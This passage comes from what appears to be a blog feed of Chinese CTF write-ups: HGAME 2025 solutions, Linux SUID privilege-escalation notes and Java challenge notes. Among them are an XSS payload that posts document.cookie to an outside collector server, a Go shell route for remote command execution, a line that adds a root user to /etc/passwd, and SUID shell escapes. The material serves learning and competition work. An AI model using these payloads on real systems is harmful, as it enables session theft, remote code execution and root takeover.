*ps*</code>就可以发现在<code>/usr/bin/ps</code>。读取它的内容，就得到了flag。</p><img src="/2025/02/18/wpforhgame2025w2/hw2-5.png"><h4 id="invest-in-hints"><a href="#Invest-in-hints" class="headerlink" title="Invest in hints"></a>Invest in hints</h4><p>&emsp;&emsp;（为了好分辨，将给出的二进制称为Hint，待购的称之为hint）</p><p>&emsp;&emsp;核心猜测：Hint中的每个1都代表hint中对应的字符，更好的解释：</p><blockquote><p>对于目标Hint的二进制串，提取所有<code>1</code>的位置（从右到左索引）。<br>例如，若Hint51的二进制串为：<br><code>0000110010100111101000000001001000111010000000000000000000110111100010</code><br>其<code>1</code>的位置表示明文字符在原串中的位置。<br>（自deepseek）</p></blockquote><p>&emsp;&emsp;这可以解释为什么每个Hint长度相同而hint长度不定，同样也可以解释题目给出信息：<code>每个 Hint 按原串顺序包含以下位（个位代表原串的第一个字符）</code>。即应当倒置Hint再一一对应将hint中的数字填入。</p><p>&emsp;&emsp;接着解决Hint与hint的对应问题。通过购买几个hint并将明文填入，不难猜测应该就是Hint51-&gt;hint1,Hint52-&gt;hint2的形式</p><p>&emsp;&emsp;接着就找最优解，然而我算法贼烂，只能找较优解了（</p><p>&emsp;&emsp;部分脚本：</p><pre><code class="python">import re# 找寻需求Hinthints=&#39;&#39;&#39;Hint 51: 00001100101001111010000000010010001110100000000000000000001101111000100Hint 52: 01101000111011000000000101000100001001101100000000010010001110011000000Hint 53: 10100100000001011000110001001101000010001101011101010110001000000000000Hint 54: 00001010000010010000100110000100000010000100101100111000001011100000111Hint 55: 01110010100100100000000000000000011010110011000001111000101100000001000Hint 56: 01110100001001000010010111101111011101001000100010011001000010011100000Hint 57: 10000101010000000011000001100101001010110100000110110010001000100011000Hint 58: 00000111101000001001000001100100100000110000110000101000001101110100000Hint 59: 01001101001001000000001001001110100000000000001011000100010000101010101Hint 60: 10010010100110011011100010011001100100100001110010010101001000100001111Hint 61: 01001000100011000001000000000011010001110001000000101100001000100010100Hint 62: 00101000010000111000101110000010001000000001000111100010001101001001101Hint 63: 01000010111010000000010100001010001011000100100010000000000000001000000Hint 64: 01110110110011000000010000011000000010000000000000111000000010000010001Hint 65: 01100000000011000110000000010001000000000011001100000110010001011010000Hint 66: 01110011001000101001100001011000011010000001100010100000011010000001000Hint 67: 00111011000011000000100100101000100100101000010001100111001000100001000Hint 68: 01000110010101011100110101110010001111100011010000000101010100000010010Hint 69: 11111010111000110100010000000010001101111010011010001100000011000001001Hint 70: 00000010110101100100100011001011011001100000100010011111000011000001101Hint 71: 00001100001110101000010111001100011100100010011100001010000000001000010Hint 72: 01100000000011001001011100000101000110111000101100010101111000001010100Hint 73: 00001000001010010000001101010110110000110111011011100101011110010110000Hint 74: 01010010100000000111011110001000010110100001000111001101010100000010000Hint 75: 11010000011000010100001010000111011010100001111010100100100000111110110&#39;&#39;&#39;hints = re.sub(r&#39;Hint \d\d: &#39;,&#39;&#39;,hints).replace(&#39;\n&#39;,&#39;,&#39;).split(&#39;,&#39;)need = []noneed = []for i in range(len(hints)):    for j in need:        if hints[i][j] == &#39;0&#39;:            break    else:        print(i+51)# 统计Hint中‘1’的数量cnt_1=[]for i in range(len(hints)):    print(f&quot;&#123;i+51&#125;:&#123;hints[i]&#125;&quot;)for i in range(len(hints)):    cnt_1.append(f&quot;&#123;i+51&#125;:&#123;hints[i].count(&#39;1&#39;)&#125;&quot;)print(cnt_1)# 追加新hint，合并(某次的情形如下)m = &#39;aeAkf3o9Cr0QaWyAzi9Cbx82AD42&#39;.replace(&#39;1&#39;,&#39;[&#39;).replace(&#39;0&#39;,&#39;]&#39;) #防止01混淆，先替换成其他字符enc = &#39;01100000000011001001011100000101000110111000101100010101111000001010100&#39;[::-1]for i in m:    enc = enc.replace(&#39;1&#39;,i,1)print(enc[::-1])enc = enc[::-1]out = list(&#39;&#125;20aHmdLwEL5DACm2Rr8uxbClNhD[96it3qzA2yW0KCSQg]rL7iCA99o3fkMY5guA&#123;emagh&#39;)for i in range(len(out)):    if out[i] == &#39;0&#39;:        out[i] = enc[0]    enc = enc[1:]for i in out:    print(i,end=&#39;&#39;)    #得到flagflag=&#39;&#125;24aHmdLwEL5DACm2Rr8uxbClNhD196it3qzA2yWaKCSQg0rL7iCA99o3fkMY5guA&#123;emagh&#39;print(flag[::-1])</code></pre>]]></content>
    
    
    <summary type="html">HGAME2025-WEEK2的wp,不包含AI主力的题目的题解喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="Misc" scheme="https://101.43.94.206/tags/Misc/"/>
    
    <category term="WP" scheme="https://101.43.94.206/tags/WP/"/>
    
  </entry>
  
  <entry>
    <title>WP FOR HGAME2025 Week1</title>
    <link href="https://101.43.94.206/2025/02/14/wpforhgame2025w1/"/>
    <id>https://101.43.94.206/2025/02/14/wpforhgame2025w1/</id>
    <published>2025-02-14T10:03:29.000Z</published>
    <updated>2025-09-10T08:19:20.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="web"><a href="#Web" class="headerlink" title="Web"></a>Web</h3><h4 id="level-24-pacman"><a href="#Level-24-Pacman" class="headerlink" title="Level 24 Pacman"></a>Level 24 Pacman</h4><p>&emsp;&emsp;ctrl+f搜索gift</p><img src="/2025/02/14/wpforhgame2025w1/hw1-1.png"><p>&emsp;&emsp;base64+栅栏密码（2栏）</p><h4 id="level-47-bandbomb"><a href="#Level-47-BandBomb" class="headerlink" title="Level 47 BandBomb"></a>Level 47 BandBomb</h4><p>&emsp;&emsp;express题（？，学到很多❀</p><p>&emsp;&emsp;首先要知道fs.rename不仅仅可以重命名文件，还可以移动文件</p><p>&emsp;&emsp;那么思路就是把ejs模板文件拿出来，加之文件上传的功能，我们可以在原本的模板中加一句坏东西：</p><img src="/2025/02/14/wpforhgame2025w1/hw1-2.png"><p>&emsp;&emsp;然后通过rename将原本的模板覆盖，就可以执行我们的坏东西了</p><img src="/2025/02/14/wpforhgame2025w1/hw1-3.png"><p>&emsp;&emsp;最后ctrl+F查找flag即可</p><img src="/2025/02/14/wpforhgame2025w1/hw1-4.png"><h4 id="level-69-mysterymessageboard"><a href="#Level-69-MysteryMessageBoard" class="headerlink" title="Level 69 MysteryMessageBoard"></a>Level 69 MysteryMessageBoard</h4><p>&emsp;&emsp;xss获取admin的session，难点在有个未知的&#x2F;admin的url（</p><p>&emsp;&emsp;先是登录，有说shallot登录要密码，那么大胆猜测用户名就是shallot。弱密码爆破（还是从shallot学姐去年hgame-week2的一题学的思路）</p><img src="/2025/02/14/wpforhgame2025w1/hw1-5.png"><p>&emsp;&emsp;然后就来到留言板界面，可以打xss了</p><p>&emsp;&emsp;利用js注入出网脚本,</p><pre><code class="html">&lt;script&gt; fetch(&#39;http://ip:port/cookie-catcher&#39;, &#123;  method: &#39;POST&#39;,  headers: &#123;    &#39;Content-Type&#39;: &#39;application/json&#39;  &#125;,  body: JSON.stringify(&#123; cookies: document.cookie &#125;) &#125;); &lt;/script&gt;</code></pre><p>&emsp;&emsp;在服务器上起一个express服务拿session（web2现学现卖了属于是）</p><pre><code class="js"> const express = require(&#39;express&#39;); const app = express(); const bodyParser = require(&#39;body-parser&#39;); const cors = require(&#39;cors&#39;); app.use(cors()); app.use(bodyParser.json()); app.use(bodyParser.urlencoded(&#123; extended: true &#125;)); app.post(&#39;/cookie-catcher&#39;, (req, res) =&gt; &#123;          console.log(req.body.cookies);          res.send(&#39;Cookie received successfully&#39;); &#125;); app.get(&#39;/cookie-catcher&#39;, (req, res) =&gt; &#123;          console.log(req.query.cookies);          res.send(&#39;Cookie received successfully&#39;); &#125;); const port = xxxx; app.listen(port, () =&gt; &#123;          console.log(`Server running on port $&#123;port&#125;`); &#125;);</code></pre><p>&emsp;&emsp;在注入xss语句后，访问&#x2F;admin的url就可以触发admin访问我们注入过的页面触发xss，拿到他的 session，再就可以拿到flag</p><img src="/2025/02/14/wpforhgame2025w1/hw1-6.png"><h4 id="level-38475-角落"><a href="#Level-38475-角落" class="headerlink" title="Level 38475 角落"></a>Level 38475 角落</h4><p>&emsp;&emsp;上来先查robots.txt，查到有个conf文件：</p><pre><code class="text"> # Include by httpd.conf &lt;Directory &quot;/usr/local/apache2/app&quot;&gt; Options Indexes AllowOverride None Require all granted &lt;/Directory&gt; &lt;Files &quot;/usr/local/apache2/app/app.py&quot;&gt; Order Allow,Deny Deny from all &lt;/Files&gt; RewriteEngine On RewriteCond &quot;%&#123;HTTP_USER_AGENT&#125;&quot; &quot;^L1nk/&quot; RewriteRule &quot;^/admin/(.*)$&quot; &quot;/$1.html?secret=todo&quot; ProxyPass &quot;/app/&quot; &quot;http://127.0.0.1:5000/&quot;</code></pre><blockquote><ul><li><code>RewriteEngine On</code>  ：启用 Apache 的 URL 重写功能。URL 重写允许你根据一定的规则修改 客户端请求的 URL。 特定条件时才应用重写规则。</li><li><code>RewriteCond &quot;%&#123;HTTP_USER_AGENT&#125;&quot; &quot;^L1nk/&quot;</code>  ：这是一个重写条件，用于指定在满足 <code>%&#123;HTTP_USER_AGENT&#125;</code> 表示客户端的用户代理字符串， <code>^L1nk/</code> 是一个正则表达式，用于匹配以  客户端的用户代理字符串以  <code>L1nk/</code> 开头的用户代理字符串。也就是说，只有当 <code>L1nk/</code> 开头时，才会应用下面的重写规则。 </li><li><code>RewriteRule &quot;^/admin/(.\*)$&quot; &quot;/$1.html?secret=todo&quot;</code>  ：这是一个重写规则，用 于将匹配的 URL 重写为新的 URL。 <code>^/admin/(.*)$</code> 是一个正则表达式，用于匹配以  <code>/admin/</code> 开头的 URL，并捕获  URL 是 <code>/</code> 加上捕获的内容再加上  <code>/admin/</code> 后面的所有内容。<code>$1</code> 表示捕获的内容，重写后的  <code>.html</code> 后缀，并在 URL 后面添加查询参数  <code>secret=todo</code> .</li></ul></blockquote><p>&emsp;&emsp;通过rewrite截断漏洞来获取源码(CVE-2024-38475)</p><img src="/2025/02/14/wpforhgame2025w1/hw1-7.png"><p>&emsp;&emsp;源码如下。</p><pre><code class="python">from flask import Flask, request, render_template, render_template_string, redirect import os #import templates app = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = templates.show_msg # templates.py:    show_msg = &#39;&#39;&#39;Latest message: &#123;&#123;message&#125;&#125;&#39;&#39;&#39; def readmsg(): filename = pwd + &quot;/tmp/message.txt&quot; if os.path.exists(filename): f = open(filename, &#39;r&#39;) message = f.read() f.close() return message else: return &#39;No message now.&#39;@app.route(&#39;/index&#39;, methods=[&#39;GET&#39;]) def index(): status = request.args.get(&#39;status&#39;) if status is None: status = &#39;&#39; return render_template(&quot;index.html&quot;, status=status) @app.route(&#39;/send&#39;, methods=[&#39;POST&#39;]) def write_message(): filename = pwd + &quot;/tmp/message.txt&quot; message = request.form[&#39;message&#39;] f = open(filename, &#39;w&#39;) f.write(message) f.close() return redirect(&#39;index?status=Send successfully!!&#39;) @app.route(&#39;/read&#39;, methods=[&#39;GET&#39;]) def read_message(): if &quot;&#123;&quot; not in readmsg(): show = show_msg.replace(&quot;&#123;&#123;message&#125;&#125;&quot;, readmsg()) return render_template_string(show) return &#39;waf!!&#39; if __name__ == &#39;__main__&#39;: app.run(host = &#39;0.0.0.0&#39;, port = 5000)</code></pre><p>&emsp;&emsp;绞尽脑汁总算是从去年的题里发现条件竞争这玩意。因为源码调用readmsg()有两次，第一次是判断，第 二次是嵌入，多个线程同时调用 read_msg() 函数，导致数据在不同线程间的读写出现混乱，使得条件 判断和替换操作的顺序被打乱，从而绕过了检查。</p><p>&emsp;&emsp;用burp快速发请求</p><img src="/2025/02/14/wpforhgame2025w1/hw1-8.png"><p>&emsp;&emsp;得到flag</p><img src="/2025/02/14/wpforhgame2025w1/hw1-9.png"><h4 id="level-25-双面人派对"><a href="#Level-25-双面人派对" class="headerlink" title="Level 25 双面人派对"></a>Level 25 双面人派对</h4><p>&emsp;&emsp;本来给的是加了upx壳的二进制文件，买了个hint跳过了re阶段。用linux中的strings命令来提取去壳后的二进制文件中的字符串，会发现minio的access_key,secret_key,这样就能连上minio，拿到源码了。</p><p>&emsp;&emsp;看一遍源码，发现有个overseer，是用于热更新服务的，那么只要上传自己构造的恶意二进制文件，我们就能rce。然后，由于本人愚蠢至极，不管三七二十一把源码打包成exe删个后缀就往上扔，卡了好久…</p><p>&emsp;&emsp;参照柏师傅给出的hint中的rce代码，将之嵌入源码中</p><pre><code class="go">g.POST(&quot;/shell&quot;, func(c *gin.Context) &#123; output, err := exec.Command(&quot;/bin/bash&quot;, &quot;-c&quot;, c.PostForm(&quot;cmd&quot;)).CombinedOutput() if err != nil &#123; c.String(500, err.Error()) &#125; c.String(200, string(output)) &#125;)</code></pre><p>&emsp;&emsp;打包成elf文件，加上upx压缩，上传到prodbucket存储桶覆盖原来的update，这样就达到了rce的结果 了。</p><img src="/2025/02/14/wpforhgame2025w1/hw1-10.png"><h3 id="misc"><a href="#Misc" class="headerlink" title="Misc"></a>Misc</h3><h4 id="hakuya-want-a-girl-friend"><a href="#Hakuya-Want-A-Girl-Friend" class="headerlink" title="Hakuya Want A Girl Friend"></a>Hakuya Want A Girl Friend</h4><p>&emsp;&emsp;给了个txt文件，开头就是50 4B，经典的zip文件头特征，有加密。</p><p>&emsp;&emsp;之后还跟了一堆乍一看是冗余的数据，其实是png文件hex倒置，转正后提取出来。png宽高修复得到 key。用key来开压缩包，得到flag</p><img src="/2025/02/14/wpforhgame2025w1/hw1-11.png"><h4 id="computer-cleaner"><a href="#Computer-cleaner" class="headerlink" title="Computer cleaner"></a>Computer cleaner</h4><p>&emsp;&emsp;在vm上挂载虚拟光盘后，直接先find &#x2F; - name flag*，发现第三部分flag（这其实也是攻击者想要的东西）</p><img src="/2025/02/14/wpforhgame2025w1/hw1-15.png"><p>&emsp;&emsp;根据提示，是要寻找攻击者的webshell，来到常见的服务路径 &#x2F;var&#x2F;www,html&#x2F; ,发现shell.php， $_POST的参数就是webshell连接密码。</p><img src="/2025/02/14/wpforhgame2025w1/hw1-12.png"><p>&emsp;&emsp;最后是溯源，发现有log日志文件，访问请求源ip，即可获得第二部分的flag。</p><p>&emsp;&emsp;(以下upload_log.txt)</p><img src=".//hw1-14.png"><img src="/2025/02/14/wpforhgame2025w1/hw1-13.png">]]></content>
    
    
    <summary type="html">HGAME2025-WEEK1的wp,不包含AI主力的题目的题解喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="Misc" scheme="https://101.43.94.206/tags/Misc/"/>
    
    <category term="WP" scheme="https://101.43.94.206/tags/WP/"/>
    
  </entry>
  
  <entry>
    <title>Linux提权</title>
    <link href="https://101.43.94.206/2025/02/02/Linux%E6%8F%90%E6%9D%83/"/>
    <id>https://101.43.94.206/2025/02/02/Linux%E6%8F%90%E6%9D%83/</id>
    <published>2025-02-02T11:27:53.000Z</published>
    <updated>2025-03-20T06:57:56.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="利用suid提权"><a href="#利用SUID提权" class="headerlink" title="利用SUID提权"></a>利用SUID提权</h3><p>&emsp;&emsp;<code>SUID</code>是Linux的一种权限机制，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。</p><p>&emsp;&emsp;如果拥有<code>SUID</code>权限，那么就可以利用系统中的二进制文件和工具来进行root提权。</p><h4 id="寻找系统中可利用文件"><a href="#寻找系统中可利用文件" class="headerlink" title="寻找系统中可利用文件"></a>寻找系统中可利用文件</h4><pre><code class="shell">find / -user root -perm -4000 -print 2&gt;/dev/nullfind / -perm -u=s -type f 2&gt;/dev/nullfind / -user root -perm -4000 -exec ls -ldb &#123;&#125; \;</code></pre><p>&emsp;&emsp;这三条 <code>find</code> 命令都是用来查找系统中具有 <strong>SUID 权限</strong> 的文件</p><ul><li><p><code>find / -user root -perm -4000 -print 2&gt;/dev/null</code></p><p>  查找所有属主为 <code>root</code> 且设置了 SUID 位的文件,直接打印符合条件的文件路径。</p><ul><li><code>-user root</code>：限定文件属主是 <code>root</code></li><li><code>-perm -4000</code>：限定文件权限包含 SUID 位</li><li><code>2&gt;/dev/null</code>：忽略错误信息（比如权限不足报错）</li></ul></li><li><p><code>find / -perm -u=s -type f 2&gt;/dev/null</code></p><p>  查找所有设置了 SUID 位的普通文件,直接打印符合条件的文件路径。</p><ul><li><code>-perm -u=s</code>：限定文件权限包含 SUID 位</li><li><code>-type f</code>：只查找普通文件（排除目录等）</li></ul></li><li><p><code>find / -user root -perm -4000 -exec ls -ldb &#123;&#125; \</code>;</p><p>  查找所有属主为 <code>root</code> 且设置了 SUID 位的文件，并显示详细信息。</p><ul><li><code>-user root</code>：只保留属主为 <code>root</code> 的文件&#x2F;目录。</li><li><code>-perm -4000</code>：精确匹配包含SUID位的文件(八进制 4000 表示 SUID 权限)。</li><li><code>-exec</code>：表示开始定义要执行的命令。</li><li><code>ls -ldb</code>：查看文件详细信息。<ul><li><code>-l</code>：长格式显示（权限、属主、时间等）</li><li><code>-d</code>：仅显示目录本身（而不是目录内容）</li><li><code>-b</code>：转义特殊字符（如空格、换行符）</li></ul></li><li><code>&#123;&#125;</code>：占位符，表示当前匹配到的文件路径(之后详解)。</li><li><code>\;</code>：表示命令结束（在Shell中，分号<code>;</code>表示命令结束。为了将<code>;</code>传递给<code>find</code>而不是被Shell解析,必须用反斜杠转义）。</li></ul></li></ul><blockquote><p><strong><code>&#123;&#125;</code></strong> 的作用</p><ul><li><p>类似于编程中的 <strong>循环变量</strong>，每次 <code>find</code> 找到一个符合条件的文件，就会将文件路径替换到 <code>&#123;&#125;</code> 的位置。</p></li><li><p>示例：如果找到 <code>/usr/bin/passwd</code>，实际执行的命令是：</p><pre><code class="shell">ls -ldb /usr/bin/passwd</code></pre></li></ul></blockquote><h4 id="设定suid权限"><a href="#设定suid权限" class="headerlink" title="设定suid权限"></a>设定suid权限</h4><pre><code class="shell">chmod u+s file  #将该文件设置suid权限chmod u-s file  #将该文件去除suid权限</code></pre><h4 id="find"><a href="#find" class="headerlink" title="find"></a>find</h4><p>&emsp;&emsp;如果<code>find</code>命令是以<code>suid</code>权限运行的话，则将通过find执行的所有命令都会以root权限执行。可以通过<code>find</code>查看<code>find</code>命令本身是否以<code>suid</code>权限运行。</p><p>&emsp;&emsp;应用格式：</p><pre><code class="shell"># find 任意存在的文件或目录 -exec 命令 \;find . -exec ls \;# 可以直接用这句</code></pre><h4 id="vim"><a href="#vim" class="headerlink" title="vim"></a>vim</h4><p>&emsp;&emsp;利用<code>vim</code>在<code>/etc/passwd</code>中写入一个拥有root权限的用户，在转换为该用户。首先应当为这个用户生成一个密码</p><pre><code class="shell">openssl passwd -1 –salt asd 密码# 如root生成为$1$asd$mwN4uVjCkpk1tFZW.7f54/</code></pre><p>&emsp;&emsp;在将以下语句写入<code>/etc/passwd</code></p><pre><code class="plaintext">meowko:$1$asd$mwN4uVjCkpk1tFZW.7f54/:0:0:root:/meowko:/bin/bash</code></pre><p>&emsp;&emsp;有时<code>vim</code>本身没有<code>suid</code>权限，但是其“亚种”有，比如<code>vim.tiny</code>,<code>vim.basic</code></p><h4 id="bash"><a href="#Bash" class="headerlink" title="Bash"></a>Bash</h4><p>&emsp;&emsp;直接开一个bash shell就行。</p><pre><code class="shell">bash -p</code></pre><h4 id="lessampmore"><a href="#less-more" class="headerlink" title="less&amp;more"></a>less&amp;more</h4><p>&emsp;&emsp;<code>less</code>和<code>more</code>是基本一样的，这里用<code>less</code>举例。用<code>less</code>打开一个文件，比如<code>/etc/passwd</code>。</p><pre><code class="shell">less /etc/passwd</code></pre><p>&emsp;&emsp;在<code>less</code>界面中，按下<code>!</code>键，这将允许你在<code>less</code>中执行外部命令。然后输入<code>/bin/bash</code>命令并按下回车键。将进入一个新的 shell 会话，由于<code>less</code>具有<code>root</code>权限，这个新的 shell 会话也将以<code>root</code>用户身份运行。</p><pre><code class="plaintext">!/bin/bash# 具体要看用的什么shell。</code></pre><h4 id="nano"><a href="#nano" class="headerlink" title="nano"></a>nano</h4><p>&emsp;&emsp;<code>nano</code>是一个文本编辑器。</p><pre><code class="shell">/bin/nano # /bin/nano非确定# 按下面的按键执行命令Ctrl + R,Ctrl + X </code></pre><h4 id="cp"><a href="#cp" class="headerlink" title="cp"></a>cp</h4><p>&emsp;&emsp;<code>cp</code>就是复制指令。</p><p>&emsp;&emsp;为了复制文件，我们需要一个有写入权限的目录，可使用以下命令创建并切换到该目录。例如：</p><pre><code class="shell">mkdir /tmp/expcd /tmp/exp</code></pre><p>&emsp;&emsp;利用<code>cp</code>的<code>suid</code>权限，将<code>/bin/bash</code>复制到刚创建的目录中。</p><pre><code class="shell">cp /bin/bash .</code></pre><p>&emsp;&emsp;设置这个<code>bash</code>具有<code>suid</code>权限并运行：</p><pre><code class="shell">chmod u+s sh./bash</code></pre><h4 id="awk"><a href="#awk" class="headerlink" title="awk"></a>awk</h4><p>&emsp;&emsp;<code>awk</code>是一种文本处理工具，它是一种编程语言。</p><pre><code class="shell">awk &#39;BEGIN &#123;&quot;/bin/bash&quot;&#125;&#39;# 或者awk &#39;BEGIN &#123;system(&quot;/bin/sh&quot;)&#125;&#39;</code></pre><p>&emsp;&emsp;<code>BEGIN</code> 是<code>awk</code>的一个特殊模式，它会在处理输入文件之前执行一次。这里就是打开一个bash。</p><p>&emsp;&emsp;<code>awk</code>提供了<code>system()</code> 函数，可以用于执行系统命令。</p><h3 id="利用可修改的定时执行sh文件提权"><a href="#利用可修改的定时执行sh文件提权。" class="headerlink" title="利用可修改的定时执行sh文件提权。"></a>利用可修改的定时执行sh文件提权。</h3><p>&emsp;&emsp;利用系统中存在的定时执行的sh脚本文件也能提权。如果我们有该文件的修改权，并且该sh文件执行时有root权限，我们就可以写入想执行的命令了。</p><p>&emsp;&emsp;例子：<a href="http://tremse.cn/2024/11/18/wpforisctf2024/#10-xiao-lan-sha-de-lin-shi-cun-chu-shi">小蓝鲨的临时存储室</a></p><blockquote><p>参考~&#x1F970;:</p><ul><li><p><a href="https://blog.csdn.net/2301_79469341/article/details/144077389">Linux提权之八大实战利器与高权限操作技巧</a></p></li><li><p><a href="https://blog.csdn.net/Fly_hps/article/details/80428173">Linux提权————利用SUID提权</a></p></li></ul><p>借助了一些AI的力量❀</p><ul><li>deepseek</li><li>豆包</li></ul></blockquote>]]></content>
    
    
    <summary type="html">CTF中Linux提权手法学习记录喵~</summary>
    
    
    
    <category term="CTF" scheme="https://101.43.94.206/categories/CTF/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="Linux" scheme="https://101.43.94.206/tags/Linux/"/>
    
  </entry>
  
  <entry>
    <title>Java做题笔记</title>
    <link href="https://101.43.94.206/2025/01/31/Java%E5%81%9A%E9%A2%98%E7%AC%94%E8%AE%B0/"/>
    <id>https://101.43.94.206/2025/01/31/Java%E5%81%9A%E9%A2%98%E7%AC%94%E8%AE%B0/</id>
    <published>2025-01-31T09:10:44.000Z</published>
    <updated>2025-03-20T06:57:48.000Z</updated>
    
    <content type="html"><![CDATA[<h3 id="java逆向解密"><a href="#Java逆向解密" class="headerlink" title="Java逆向解密"></a>Java逆向解密</h3><blockquote><p>程序员小张不小心弄丢了加密文件用的秘钥，已知还好小张曾经编写了一个秘钥验证算法，聪明的你能帮小张找到秘钥吗？ 注意：得到的 flag 请包上 flag{} 提交<br>&emsp;&emsp;附件给了class文件，用jd-gui反编译得到以下源码:</p></blockquote><pre><code class="Java">import java.util.ArrayList;import java.util.Scanner;public class Reverse &#123;  public static void main(String[] args) &#123;    Scanner s = new Scanner(System.in);    System.out.println(&quot;Please input the flag );    String str = s.next();    System.out.println(&quot;Your input is );    System.out.println(str);    char[] stringArr = str.toCharArray();    Encrypt(stringArr);  &#125;    public static void Encrypt(char[] arr) &#123;    ArrayList&lt;Integer&gt; Resultlist = new ArrayList&lt;&gt;();    for (int i = 0; i &lt; arr.length; i++) &#123;      int result = arr[i] + 64 ^ 0x20;      Resultlist.add(Integer.valueOf(result));    &#125;     int[] KEY = &#123;         180, 136, 137, 147, 191, 137, 147, 191, 148, 136,         133, 191, 134, 140, 129, 135, 191, 65 &#125;;    ArrayList&lt;Integer&gt; KEYList = new ArrayList&lt;&gt;();    for (int j = 0; j &lt; KEY.length; j++)      KEYList.add(Integer.valueOf(KEY[j]));     System.out.println(&quot;Result:&quot;);    if (Resultlist.equals(KEYList)) &#123;      System.out.println(&quot;Congratulations);    &#125; else &#123;      System.err.println(&quot;Error);    &#125;   &#125;&#125;</code></pre><p>&emsp;&emsp;根据加密算法可知，先将明文+64后与0x20(即32)异或获得密文。则编写解密算法即可得到明文:</p><pre><code class="python">KEY = [180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65 ]for i in KEY:    print(chr((i^32)-64),end=&#39;&#39;)# This_is_the_flag_!</code></pre><h3 id="roarctf-2019easy-java"><a href="#RoarCTF-2019-Easy-Java" class="headerlink" title="[RoarCTF 2019]Easy Java"></a>[RoarCTF 2019]Easy Java</h3><p>&emsp;&emsp;进入环境，是一个登录页面<br><img src="/2025/01/31/Java%E5%81%9A%E9%A2%98%E7%AC%94%E8%AE%B0/1.png"><br>&emsp;&emsp;先试试help,发现有报错回显,且url为<code>http://1e576dd1-0f8d-43fb-86bc-dd4ab442fcbf.node5.buuoj.cn:81/Download?filename=help.docx</code></p><pre><code>java.io.FileNotFoundException:&#123;help.docx&#125;</code></pre><p>&emsp;&emsp;原本怀疑会有ssti(因为存在<code>&#123;&#125;</code>并且有把参数回显),但是查了一圈发现不太对劲。查了一下报错，发现这个java.io.FileNotFoundException是因为<code>文件路径错误、文件不存在、权限问题和磁盘空间不足导致的问题</code>。但是又试了一圈又没啥用，只好查查wp(<br>&emsp;&emsp;结果发现竟然要post请求才能得到文件(<del><em>能想到的都是神人了</em></del>)。然后发现有<code>WEB-INF/web.xml泄露漏洞</code>这么个玩意。</p><blockquote><p>WEB-INF主要包含以下内容：</p><ul><li>&#x2F;WEB-INF&#x2F;web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。可以利用这里的信息得到各个class文件的路径，得到网页源码。</li><li>&#x2F;WEB-INF&#x2F;classes&#x2F;：包含所有的 Servlet 类和其他类文件，类文件所在的目录结构与他们的包名称匹配。</li><li>&#x2F;WEB-INF&#x2F;lib&#x2F;：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件</li><li>&#x2F;WEB-INF&#x2F;src&#x2F;：源码目录，按照包名结构放置各个java文件。</li><li>&#x2F;WEB-INF&#x2F;database.properties：数据库配置文件。<br>&emsp;&emsp;众所周知，配置文件大多是很有价值的，我们直接看看这个WEB-INF&#x2F;web.xml里是什么</li></ul></blockquote><pre><code class="xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;web-app xmlns=&quot;http://xmlns.jcp.org/xml/ns/javaee&quot;         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;         xsi:schemaLocation=&quot;http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd&quot;         version=&quot;4.0&quot;&gt;    &lt;welcome-file-list&gt;        &lt;welcome-file&gt;Index&lt;/welcome-file&gt;    &lt;/welcome-file-list&gt;    &lt;servlet&gt;        &lt;servlet-name&gt;IndexController&lt;/servlet-name&gt;        &lt;servlet-class&gt;com.wm.ctf.IndexController&lt;/servlet-class&gt;    &lt;/servlet&gt;    &lt;servlet-mapping&gt;        &lt;servlet-name&gt;IndexController&lt;/servlet-name&gt;        &lt;url-pattern&gt;/Index&lt;/url-pattern&gt;    &lt;/servlet-mapping&gt;    &lt;servlet&gt;        &lt;servlet-name&gt;LoginController&lt;/servlet-name&gt;        &lt;servlet-class&gt;com.wm.ctf.LoginController&lt;/servlet-class&gt;    &lt;/servlet&gt;    &lt;servlet-mapping&gt;        &lt;servlet-name&gt;LoginController&lt;/servlet-name&gt;        &lt;url-pattern&gt;/Login&lt;/url-pattern&gt;    &lt;/servlet-mapping&gt;    &lt;servlet&gt;        &lt;servlet-name&gt;DownloadController&lt;/servlet-name&gt;        &lt;servlet-class&gt;com.wm.ctf.DownloadController&lt;/servlet-class&gt;    &lt;/servlet&gt;    &lt;servlet-mapping&gt;        &lt;servlet-name&gt;DownloadController&lt;/servlet-name&gt;        &lt;url-pattern&gt;/Download&lt;/url-pattern&gt;    &lt;/servlet-mapping&gt;    &lt;servlet&gt;        &lt;servlet-name&gt;FlagController&lt;/servlet-name&gt;        &lt;servlet-class&gt;com.wm.ctf.FlagController&lt;/servlet-class&gt;    &lt;/servlet&gt;    &lt;servlet-mapping&gt;        &lt;servlet-name&gt;FlagController&lt;/servlet-name&gt;        &lt;url-pattern&gt;/Flag&lt;/url-pattern&gt;    &lt;/servlet-mapping&gt;&lt;/web-app&gt;</code></pre><p>&emsp;&emsp;从这里我们就能知道FlagController.class这个文件的路径是&#x2F;WEB-INF&#x2F;classes&#x2F;com&#x2F;wm&#x2F;ctf&#x2F;FlagController.class，加之存在的文件读取漏洞，就能够得到这个class文件，反编译后会发现其中存在base64的flag了。</p>]]></content>
    
    
    <summary type="html">Java的做题笔记喵~</summary>
    
    
    
    <category term="笔记" scheme="https://101.43.94.206/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Java" scheme="https://101.43.94.206/tags/Java/"/>
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>toc文章目录调教记录</title>
